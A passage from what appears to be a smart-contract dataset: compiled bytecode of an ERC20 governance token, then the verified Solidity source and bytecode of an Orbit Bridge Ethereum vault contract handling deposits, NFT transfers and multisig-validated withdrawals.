6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095a565b6040518082815260200191505060405180910390f35b6040518060400160405280600f81526020017f52616b6520476f7665726e616e6365000000000000000000000000000000000081525081565b60006105d36105cc6109e1565b84846109e9565b6001905092915050565b6000600254905090565b60006105f4848484610be0565b6106b5846106006109e1565b6106b08560405180606001604052806028815260200161131560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106666109e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e969092919063ffffffff16565b6109e9565b600190509392505050565b601281565b600061076e6106d26109e1565b8461076985600160006106e36109e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5690919063ffffffff16565b6109e9565b6001905092915050565b6107896107836109e1565b82610fde565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006108138260405180606001604052806024815260200161133d60249139610804866107ff6109e1565b61095a565b610e969092919063ffffffff16565b9050610827836108216109e1565b836109e9565b6108318383610fde565b505050565b6040518060400160405280600481526020017f5943414b0000000000000000000000000000000000000000000000000000000081525081565b600061093261087c6109e1565b8461092d856040518060600160405280602581526020016113cb60259139600160006108a66109e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e969092919063ffffffff16565b6109e9565b6001905092915050565b60006109506109496109e1565b8484610be0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806113a76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610af5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806112ac6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806112676023913960400191505060405180910390fd5b610d57816040518060600160405280602681526020016112ce602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e969092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dea816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f5690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f08578082015181840152602081019050610eed565b50505050905090810190601f168015610f355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611064576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113616021913960400191505060405180910390fd5b6110cf8160405180606001604052806022815260200161128a602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e969092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111268160025461119690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006111d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e96565b905092915050565b6000808314156111f35760009050611260565b600082840290508284828161120457fe5b041461125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112f46021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820fcfedf7ad7969050a4701f4771b36dfa1cf64664a9a3724e0b1776a7700351de64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 330 |
0x535168c0934e042828fe347bd4872c96e0382564 | /**
*Submitted for verification at Etherscan.io on 2021-09-14
*/
pragma solidity 0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IFarm {
function deposit(uint amount) external;
function withdrawAll() external;
function withdraw(address toAddr, uint amount) external;
}
interface OrbitBridgeReceiver {
function onTokenBridgeReceived(address _token, uint256 _value, bytes calldata _data) external returns(uint);
function onNFTBridgeReceived(address _token, uint256 _tokenId, bytes calldata _data) external returns(uint);
}
library LibCallBridgeReceiver {
function callReceiver(bool isFungible, uint gasLimitForBridgeReceiver, address tokenAddress, uint256 _int, bytes memory data, address toAddr) internal returns (bool){
bool result;
bytes memory callbytes;
bytes memory returnbytes;
if (isFungible) {
callbytes = abi.encodeWithSignature("onTokenBridgeReceived(address,uint256,bytes)", tokenAddress, _int, data);
} else {
callbytes = abi.encodeWithSignature("onNFTBridgeReceived(address,uint256,bytes)", tokenAddress, _int, data);
}
if (gasLimitForBridgeReceiver > 0) {
(result, returnbytes) = toAddr.call.gas(gasLimitForBridgeReceiver)(callbytes);
} else {
(result, returnbytes) = toAddr.call(callbytes);
}
if(!result){
return false;
} else {
(uint flag) = abi.decode(returnbytes, (uint));
return flag > 0;
}
}
}
contract EthVaultStorage {
/////////////////////////////////////////////////////////////////////////
// MultiSigWallet.sol
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
// EthVault.sol
string public constant chain = "ETH";
bool public isActivated = true;
address payable public implementation;
address public tetherAddress;
uint public depositCount = 0;
mapping(bytes32 => bool) public isUsedWithdrawal;
mapping(bytes32 => address) public tokenAddr;
mapping(address => bytes32) public tokenSummaries;
mapping(bytes32 => bool) public isValidChain;
/////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
// EthVault.impl.sol
uint public bridgingFee = 0;
address payable public feeGovernance;
mapping(address => bool) public silentTokenList;
mapping(address => address payable) public farms;
uint public taxRate; // 0.01% interval
address public taxReceiver;
uint public gasLimitForBridgeReceiver;
address public policyAdmin;
mapping(bytes32 => uint256) public chainFee;
mapping(bytes32 => uint256) public chainFeeWithData;
mapping(bytes32 => uint256) public chainUintsLength;
mapping(bytes32 => uint256) public chainAddressLength;
/////////////////////////////////////////////////////////////////////////
}
contract EthVaultImpl is EthVaultStorage {
using SafeERC20 for IERC20;
using SafeMath for uint;
event Deposit(string toChain, address fromAddr, bytes toAddr, address token, uint8 decimal, uint amount, uint depositId, bytes data);
event DepositNFT(string toChain, address fromAddr, bytes toAddr, address token, uint tokenId, uint amount, uint depositId, bytes data);
event Withdraw(string fromChain, bytes fromAddr, bytes toAddr, bytes token, bytes32[] bytes32s, uint[] uints, bytes data);
event WithdrawNFT(string fromChain, bytes fromAddr, bytes toAddr, bytes token, bytes32[] bytes32s, uint[] uints, bytes data);
event BridgeReceiverResult(bool success, bytes fromAddress, address tokenAddress, bytes data);
modifier onlyActivated {
require(isActivated);
_;
}
modifier onlyWallet {
require(msg.sender == address(this));
_;
}
modifier onlyPolicyAdmin {
require(msg.sender == policyAdmin);
_;
}
constructor() public payable { }
function getVersion() public pure returns(string memory){
return "EthVault20210817A";
}
function getChainId(string memory _chain) public view returns(bytes32){
return sha256(abi.encodePacked(address(this), _chain));
}
function setValidChain(string memory _chain, bool valid, uint fromAddrLen, uint uintsLen) public onlyWallet {
bytes32 chainId = getChainId(_chain);
require(chainId != getChainId(chain));
isValidChain[chainId] = valid;
if(valid){
chainAddressLength[chainId] = fromAddrLen;
chainUintsLength[chainId] = uintsLen;
}
else{
chainAddressLength[chainId] = 0;
chainUintsLength[chainId] = 0;
}
}
function setTaxParams(uint _taxRate, address _taxReceiver) public onlyWallet {
require(_taxRate < 10000);
require(_taxReceiver != address(0));
taxRate = _taxRate;
taxReceiver = _taxReceiver;
}
function setPolicyAdmin(address _policyAdmin) public onlyWallet {
require(_policyAdmin != address(0));
policyAdmin = _policyAdmin;
}
function changeActivate(bool activate) public onlyPolicyAdmin {
isActivated = activate;
}
function setSilentToken(address token, bool v) public onlyPolicyAdmin {
require(token != address(0));
silentTokenList[token] = v;
}
function setFeeGovernance(address payable _feeGovernance) public onlyWallet {
require(_feeGovernance != address(0));
feeGovernance = _feeGovernance;
}
function setChainFee(string memory chainSymbol, uint256 _fee, uint256 _feeWithData) public onlyPolicyAdmin {
bytes32 chainId = getChainId(chainSymbol);
require(isValidChain[chainId]);
chainFee[chainId] = _fee;
chainFeeWithData[chainId] = _feeWithData;
}
function setGasLimitForBridgeReceiver(uint256 _gasLimitForBridgeReceiver) public onlyPolicyAdmin {
gasLimitForBridgeReceiver = _gasLimitForBridgeReceiver;
}
function addFarm(address token, address payable proxy) public onlyWallet {
require(farms[token] == address(0));
uint amount;
if(token == address(0)){
amount = address(this).balance;
}
else{
amount = IERC20(token).balanceOf(address(this));
}
_transferToken(token, proxy, amount);
IFarm(proxy).deposit(amount);
farms[token] = proxy;
}
function removeFarm(address token, address payable newProxy) public onlyWallet {
require(farms[token] != address(0));
IFarm(farms[token]).withdrawAll();
if(newProxy != address(0)){
uint amount;
if(token == address(0)){
amount = address(this).balance;
}
else{
amount = IERC20(token).balanceOf(address(this));
}
_transferToken(token, newProxy, amount);
IFarm(newProxy).deposit(amount);
}
farms[token] = newProxy;
}
function deposit(string memory toChain, bytes memory toAddr) payable public {
uint256 fee = chainFee[getChainId(toChain)];
if(fee != 0){
require(msg.value > fee);
_transferToken(address(0), feeGovernance, fee);
}
_depositToken(address(0), toChain, toAddr, (msg.value).sub(fee), "");
}
function deposit(string memory toChain, bytes memory toAddr, bytes memory data) payable public {
require(data.length != 0);
uint256 fee = chainFeeWithData[getChainId(toChain)];
if(fee != 0){
require(msg.value > fee);
_transferToken(address(0), feeGovernance, fee);
}
_depositToken(address(0), toChain, toAddr, (msg.value).sub(fee), data);
}
function depositToken(address token, string memory toChain, bytes memory toAddr, uint amount) public payable {
require(token != address(0));
uint256 fee = chainFee[getChainId(toChain)];
if(fee != 0){
require(msg.value >= fee);
_transferToken(address(0), feeGovernance, msg.value);
}
_depositToken(token, toChain, toAddr, amount, "");
}
function depositToken(address token, string memory toChain, bytes memory toAddr, uint amount, bytes memory data) public payable {
require(token != address(0));
require(data.length != 0);
uint256 fee = chainFeeWithData[getChainId(toChain)];
if(fee != 0){
require(msg.value >= fee);
_transferToken(address(0), feeGovernance, msg.value);
}
_depositToken(token, toChain, toAddr, amount, data);
}
function _depositToken(address token, string memory toChain, bytes memory toAddr, uint amount, bytes memory data) private onlyActivated {
require(isValidChain[getChainId(toChain)]);
require(amount != 0);
require(!silentTokenList[token]);
uint8 decimal;
if(token == address(0)){
decimal = 18;
}
else{
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
decimal = IERC20(token).decimals();
}
require(decimal > 0);
address payable farm = farms[token];
if(farm != address(0)){
_transferToken(token, farm, amount);
IFarm(farm).deposit(amount);
}
if(taxRate > 0 && taxReceiver != address(0)){
uint tax = _payTax(token, amount, decimal);
amount = amount.sub(tax);
}
depositCount = depositCount + 1;
emit Deposit(toChain, msg.sender, toAddr, token, decimal, amount, depositCount, data);
}
function depositNFT(address token, string memory toChain, bytes memory toAddr, uint tokenId) public payable {
uint256 fee = chainFee[getChainId(toChain)];
if(fee != 0){
require(msg.value >= fee);
_transferToken(address(0), feeGovernance, msg.value);
}
_depositNFT(token, toChain, toAddr, tokenId, "");
}
function depositNFT(address token, string memory toChain, bytes memory toAddr, uint tokenId, bytes memory data) public payable {
require(data.length != 0);
uint256 fee = chainFeeWithData[getChainId(toChain)];
if(fee != 0){
require(msg.value >= fee);
_transferToken(address(0), feeGovernance, msg.value);
}
_depositNFT(token, toChain, toAddr, tokenId, data);
}
function _depositNFT(address token, string memory toChain, bytes memory toAddr, uint tokenId, bytes memory data) private onlyActivated {
require(isValidChain[getChainId(toChain)]);
require(token != address(0));
require(IERC721(token).ownerOf(tokenId) == msg.sender);
require(!silentTokenList[token]);
IERC721(token).transferFrom(msg.sender, address(this), tokenId);
require(IERC721(token).ownerOf(tokenId) == address(this));
depositCount = depositCount + 1;
emit DepositNFT(toChain, msg.sender, toAddr, token, tokenId, 1, depositCount, data);
}
// Fix Data Info
///@param bytes32s [0]:govId, [1]:txHash
///@param uints [0]:amount, [1]:decimal
function withdraw(
address hubContract,
string memory fromChain,
bytes memory fromAddr,
address payable toAddr,
address token,
bytes32[] memory bytes32s,
uint[] memory uints,
bytes memory data,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s
) public onlyActivated {
require(bytes32s.length == 2);
require(uints.length == chainUintsLength[getChainId(fromChain)]);
require(uints[1] <= 100);
require(fromAddr.length == chainAddressLength[getChainId(fromChain)]);
require(bytes32s[0] == sha256(abi.encodePacked(hubContract, chain, address(this))));
require(isValidChain[getChainId(fromChain)]);
{
bytes32 whash = sha256(abi.encodePacked(hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints, data));
require(!isUsedWithdrawal[whash]);
isUsedWithdrawal[whash] = true;
uint validatorCount = _validate(whash, v, r, s);
require(validatorCount >= required);
}
if(farms[token] != address(0)){
IFarm(farms[token]).withdraw(toAddr, uints[0]);
}
else{
_transferToken(token, toAddr, uints[0]);
}
if(isContract(toAddr) && data.length != 0){
bool result = LibCallBridgeReceiver.callReceiver(true, gasLimitForBridgeReceiver, token, uints[0], data, toAddr);
emit BridgeReceiverResult(result, fromAddr, token, data);
}
emit Withdraw(fromChain, fromAddr, abi.encodePacked(toAddr), abi.encodePacked(token), bytes32s, uints, data);
}
// Fix Data Info
///@param bytes32s [0]:govId, [1]:txHash
///@param uints [0]:amount, [1]:tokenId
function withdrawNFT(
address hubContract,
string memory fromChain,
bytes memory fromAddr,
address payable toAddr,
address token,
bytes32[] memory bytes32s,
uint[] memory uints,
bytes memory data,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s
) public onlyActivated {
require(bytes32s.length == 2);
require(uints.length == chainUintsLength[getChainId(fromChain)]);
require(fromAddr.length == chainAddressLength[getChainId(fromChain)]);
require(bytes32s[0] == sha256(abi.encodePacked(hubContract, chain, address(this))));
require(isValidChain[getChainId(fromChain)]);
{
bytes32 whash = sha256(abi.encodePacked("NFT", hubContract, fromChain, chain, fromAddr, toAddr, token, bytes32s, uints, data));
require(!isUsedWithdrawal[whash]);
isUsedWithdrawal[whash] = true;
uint validatorCount = _validate(whash, v, r, s);
require(validatorCount >= required);
}
require(IERC721(token).ownerOf(uints[1]) == address(this));
IERC721(token).transferFrom(address(this), toAddr, uints[1]);
require(IERC721(token).ownerOf(uints[1]) == toAddr);
if(isContract(toAddr) && data.length != 0){
bool result = LibCallBridgeReceiver.callReceiver(false, gasLimitForBridgeReceiver, token, uints[1], data, toAddr);
emit BridgeReceiverResult(result, fromAddr, token, data);
}
emit WithdrawNFT(fromChain, fromAddr, abi.encodePacked(toAddr), abi.encodePacked(token), bytes32s, uints, data);
}
function _validate(bytes32 whash, uint8[] memory v, bytes32[] memory r, bytes32[] memory s) private view returns(uint){
uint validatorCount = 0;
address[] memory vaList = new address[](owners.length);
uint i=0;
uint j=0;
for(i; i<v.length; i++){
address va = ecrecover(whash,v[i],r[i],s[i]);
if(isOwner[va]){
for(j=0; j<validatorCount; j++){
require(vaList[j] != va);
}
vaList[validatorCount] = va;
validatorCount += 1;
}
}
return validatorCount;
}
function _payTax(address token, uint amount, uint8 decimal) private returns (uint tax) {
tax = amount.mul(taxRate).div(10000);
if(tax > 0){
depositCount = depositCount + 1;
emit Deposit("ORBIT", msg.sender, abi.encodePacked(taxReceiver), token, decimal, tax, depositCount, "");
}
}
function _transferToken(address token, address payable destination, uint amount) private {
if(token == address(0)){
(bool transfered,) = destination.call.value(amount)("");
require(transfered);
}
else{
IERC20(token).safeTransfer(destination, amount);
}
}
function isContract(address _addr) private view returns (bool){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function bytesToAddress(bytes memory bys) public pure returns (address payable addr) {
assembly {
addr := mload(add(bys,20))
}
}
function () payable external{
}
} | 0x6080604052600436106102375763ffffffff60e060020a600035041663025e7c278114610239578063074c98471461027f5780630a17bd6a146102bb5780630ac09684146102e55780630d8e6e2c146104245780632ac5ab1b146104ae5780632dfdf0b51461092d5780632f54bf6e146109425780632ff6ec1d146109895780633374c600146109c45780633411c81c14610a775780633566c10714610ab057806335fbff3c14610c7c5780633a8105ec14610ca8578063421adfa014610cbd57806342526e4e14610cf05780634a8c1fb414610da35780634cf83e3c14610db857806350d9876f14610df357806358e5189614610e265780635c60da1b14610e3b5780635dd3f1c314610e505780635e35384c14610e655780635ed7a8fc14610fa4578063771a3a1d14610fce578063854b70c914610fe357806389067c5e1461101e57806392a2265c146110335780639ace38c2146114b25780639d188c161461157f5780639f119391146115a9578063a420dc8b1461175d578063ab7d30fd1461181d578063af9e26d814611850578063b1efb2bc14611865578063b77bf6001461189e578063c092045a146118b3578063c763e5a1146118dd578063d3590c20146118f2578063d6f871091461191c578063d74f8edd14611a49578063dc8452cd14611a5e578063e1b7f08414611a73578063e1d703a114611aa6578063e6ef73d614611ad9578063f01b246714611aee578063f4ab7e6c14611b18578063f7b4dc9014611bd0578063f82ef66914611bfa575b005b34801561024557600080fd5b506102636004803603602081101561025c57600080fd5b5035611dc6565b60408051600160a060020a039092168252519081900360200190f35b34801561028b57600080fd5b506102a9600480360360208110156102a257600080fd5b5035611dee565b60408051918252519081900360200190f35b3480156102c757600080fd5b506102a9600480360360208110156102de57600080fd5b5035611e00565b610237600480360360808110156102fb57600080fd5b600160a060020a03823516919081019060408101602082013564010000000081111561032657600080fd5b82018360208201111561033857600080fd5b8035906020019184600183028401116401000000008311171561035a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460018302840111640100000000831117156103e157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611e12915050565b34801561043057600080fd5b50610439611e99565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047357818101518382015260200161045b565b50505050905090810190601f1680156104a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ba57600080fd5b5061023760048036036101608110156104d257600080fd5b600160a060020a0382351691908101906040810160208201356401000000008111156104fd57600080fd5b82018360208201111561050f57600080fd5b8035906020019184600183028401116401000000008311171561053157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561058457600080fd5b82018360208201111561059657600080fd5b803590602001918460018302840111640100000000831117156105b857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295600160a060020a03853581169660208701359091169591945092506060810191506040013564010000000081111561062457600080fd5b82018360208201111561063657600080fd5b8035906020019184602083028401116401000000008311171561065857600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156106a857600080fd5b8201836020820111156106ba57600080fd5b803590602001918460208302840111640100000000831117156106dc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561072c57600080fd5b82018360208201111561073e57600080fd5b8035906020019184600183028401116401000000008311171561076057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156107b357600080fd5b8201836020820111156107c557600080fd5b803590602001918460208302840111640100000000831117156107e757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561083757600080fd5b82018360208201111561084957600080fd5b8035906020019184602083028401116401000000008311171561086b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156108bb57600080fd5b8201836020820111156108cd57600080fd5b803590602001918460208302840111640100000000831117156108ef57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611ed0945050505050565b34801561093957600080fd5b506102a961298f565b34801561094e57600080fd5b506109756004803603602081101561096557600080fd5b5035600160a060020a0316612995565b604080519115158252519081900360200190f35b34801561099557600080fd5b50610237600480360360408110156109ac57600080fd5b50600160a060020a03813516906020013515156129aa565b3480156109d057600080fd5b506102a9600480360360208110156109e757600080fd5b810190602081018135640100000000811115610a0257600080fd5b820183602082011115610a1457600080fd5b80359060200191846001830284011164010000000083111715610a3657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612a01945050505050565b348015610a8357600080fd5b5061097560048036036040811015610a9a57600080fd5b5080359060200135600160a060020a0316612b17565b610237600480360360a0811015610ac657600080fd5b600160a060020a038235169190810190604081016020820135640100000000811115610af157600080fd5b820183602082011115610b0357600080fd5b80359060200191846001830284011164010000000083111715610b2557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050640100000000811115610b7857600080fd5b820183602082011115610b8a57600080fd5b80359060200191846001830284011164010000000083111715610bac57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092958435959094909350604081019250602001359050640100000000811115610c0757600080fd5b820183602082011115610c1957600080fd5b80359060200191846001830284011164010000000083111715610c3b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612b37945050505050565b348015610c8857600080fd5b5061023760048036036020811015610c9f57600080fd5b50351515612ba7565b348015610cb457600080fd5b50610263612bd1565b348015610cc957600080fd5b5061026360048036036020811015610ce057600080fd5b5035600160a060020a0316612be0565b348015610cfc57600080fd5b5061026360048036036020811015610d1357600080fd5b810190602081018135640100000000811115610d2e57600080fd5b820183602082011115610d4057600080fd5b80359060200191846001830284011164010000000083111715610d6257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612bfb945050505050565b348015610daf57600080fd5b50610975612c02565b348015610dc457600080fd5b5061023760048036036040811015610ddb57600080fd5b50600160a060020a0381358116916020013516612c0b565b348015610dff57600080fd5b5061097560048036036020811015610e1657600080fd5b5035600160a060020a0316612d90565b348015610e3257600080fd5b50610263612da5565b348015610e4757600080fd5b50610263612db4565b348015610e5c57600080fd5b506102a9612dc8565b61023760048036036080811015610e7b57600080fd5b600160a060020a038235169190810190604081016020820135640100000000811115610ea657600080fd5b820183602082011115610eb857600080fd5b80359060200191846001830284011164010000000083111715610eda57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050640100000000811115610f2d57600080fd5b820183602082011115610f3f57600080fd5b80359060200191846001830284011164010000000083111715610f6157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250612dce915050565b348015610fb057600080fd5b5061026360048036036020811015610fc757600080fd5b5035612e39565b348015610fda57600080fd5b506102a9612e54565b348015610fef57600080fd5b506102376004803603604081101561100657600080fd5b50600160a060020a0381358116916020013516612e5a565b34801561102a57600080fd5b506102a961306d565b34801561103f57600080fd5b50610237600480360361016081101561105757600080fd5b600160a060020a03823516919081019060408101602082013564010000000081111561108257600080fd5b82018360208201111561109457600080fd5b803590602001918460018302840111640100000000831117156110b657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561110957600080fd5b82018360208201111561111b57600080fd5b8035906020019184600183028401116401000000008311171561113d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295600160a060020a0385358116